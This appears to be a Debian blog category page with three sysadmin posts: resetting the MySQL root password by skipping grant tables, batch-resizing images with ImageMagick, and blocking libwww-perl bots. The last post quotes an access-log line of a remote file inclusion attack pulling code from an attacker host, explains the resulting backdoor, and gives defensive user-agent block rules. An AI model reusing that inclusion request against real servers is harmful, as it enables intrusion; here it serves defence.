Category: Debian

All Debian related contents will be listed here…

How to update mysql root password in mysql?

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The Following five steps will help you to update your mysql root password in mysql:

Step # 1: Stop the MySQL server process.

Step # 2: Start the MySQL (mysqld) server/daemon process with the –skip-grant-tables option so that it will not prompt for a password.

Step # 3: Connect to the MySQL server as the root user.

Step # 4: Set a new root password.

Step # 5: Exit and restart the MySQL server.

Here are the commands you need to type for each step (log in as the root user):

Step # 1 : Stop the MySQL service:

# /etc/init.d/mysql stop

Output:

Stopping MySQL database server: mysqld.

Step # 2: Start the MySQL server w/o password:

# mysqld_safe –skip-grant-tables &

Output:

[1] 5988
Starting mysqld daemon with databases from /var/lib/mysql
mysqld_safe[6025]: started

Step # 3: Connect to the MySQL server using the MySQL client:

# mysql -u root

Output:

Welcome to the MySQL monitor.  Commands end with ; or g.
Your MySQL connection id is 1 to server version: 4.1.15-Debian_1-log

Type ‘help;’ or ‘h’ for help. Type ‘c’ to clear the buffer.

mysql>

Step # 4: Set a new MySQL root user password:

mysql> use mysql;
mysql> update user set password=PASSWORD(“NEW-ROOT-PASSWORD”) where User=’root’;
mysql> flush privileges;
mysql> quit

Step # 5: Stop the MySQL server:

# /etc/init.d/mysql stop

Output:

Stopping MySQL database server: mysqld
STOPPING server from pid file /var/run/mysqld/mysqld.pid
mysqld_safe[6186]: ended

[1]+  Done                    mysqld_safe –skip-grant-tables

Start the MySQL server and test it:

# /etc/init.d/mysql start
# mysql -u root -p

 

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Resize Multiple images in a folder (Batch Image Resize) in Ubuntu

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You can resize multiple image files (jpg/png/gif….) stored in a folder by the imagemagick package. Here is step-by-step guideline:

1. Install imagemagick from Ubuntu Software Center

Or, in the terminal:

sudo apt-get install imagemagick

2. Put all your image files in a single directory.

3. Open a terminal and go to this directory:

cd <directory-location>

4. Now, enter following command to resize all of the images to a specific percentage. For examples, for the following command, all of the images will be reduced to 50% of their dimension maintaining the ratio.

mogrify -resize 50% -format jpg *

Where -format jpg specifies: the resultant format will be JPG.

You may also specify width and height by the following command:

mogrify -resize 800x600 -format jpg *

You can easily guess, the resultant images will be of width 800 px and height of 600 px, keeping the original ratio.

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The rise of bots, spammers, crack attacks and libwww-perl

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libwww-perl (LWP) is fine WWW client/server library for Perl. Unfortunately this library used by many script kiddy, crackers, and spam bots.

Verify bots…

Following is a typical example, you will find in your apache or lighttpd access.log log file:

$ grep ‘libwww-perl’ access.log

OR

$ grep ‘libwww-perl’ /var/log/lighttpd/access.log

Output:

62.152.64.210 www.domain.com - [23/Oct/2006:22:24:37 +0000] "GET /wamp_dir/setup/yesno.phtml?no_url=http://www.someattackersite.com/list.txt? HTTP/1.1" 200 72672 "-" "libwww-perl/5.76"

So someone is trying to attack your host and exploit security by installing a backdoor. yesno.phtml is poorly written application and it can run or include php code (list.txt) from remote server. This code install perl based backdoor in /tmp or /dev/shm and send notification to IRC server or bot master i.e. server is ready for attack against other computer. This back door can flood or DDoS other victims server (it will also cost you tons of bandwidth). Usually attacker will hide himself behind zombie machines. Blocking by user agent can help and in some cases problem can be dropped all together.

You will also notice that libwww-perl/5.76 as browser name (read as useragent). To avoid such attack:
=> Block all libwww-perl useragent
=> Run web server in chrooted jail

How to block libwww-perl under Lighttpd web server?

Open lighttpd.conf file:
# vi /etc/lighttpd/lighttpd.conf
Append following line to main server or virtual hosting section:
$HTTP["useragent"] =~ "libwww-perl" {
url.access-deny = ( "" )
}

Save and close the file. Restart the lighttpd:
# /etc/init.d/lighttpd restart

How to block libwww-perl under Apache web server?

Use mod_rewrite and .htaccess file to block user agent libwww-perl. Open your .htaccess file and add rule as follows:
SetEnvIfNoCase User-Agent "^libwww-perl*" block_bad_bots
Deny from env=block_bad_bots

How do I verify that User-Agent libwww-perl is blocked?

Download this perl script on your own workstation. Replace http://your-website.com/ with your site name:
$req = HTTP::Request->new(GET => 'http://your-website.com/');
Save and execute perl script:
$ chmod +x test-lwp.pl
$ ./test-lwp.pl
Output:

Error: 403 Forbidden

You should see 403 Forbidden error as your user-agent is blocked by server configuration.

Please note that blocking by user agent can help, but spammers spoof user agents. My personal experience shows that blocking libwww-perl saves bandwidth and drops potential threats by 50-80%.

Another highly recommended solution is to run web server in chrooted jail. In chrooted jail attacker cannot install backdoor as shell and utilities such as wget not available to download the perl code. I also recommend blocking all outgoing http/ftp request from your webserver using iptables or use hardware based firewall such as Cisco ASA Firewalls.

Final extreme solution is to put entire root file system on read only media such as CDROM (or use live CD). No attacker can bring down your web server if it is serving pages from read only media (except DoS/DDoS attack).

What do you think? How do you block such attacks? Please share your nifty technique with us.

 

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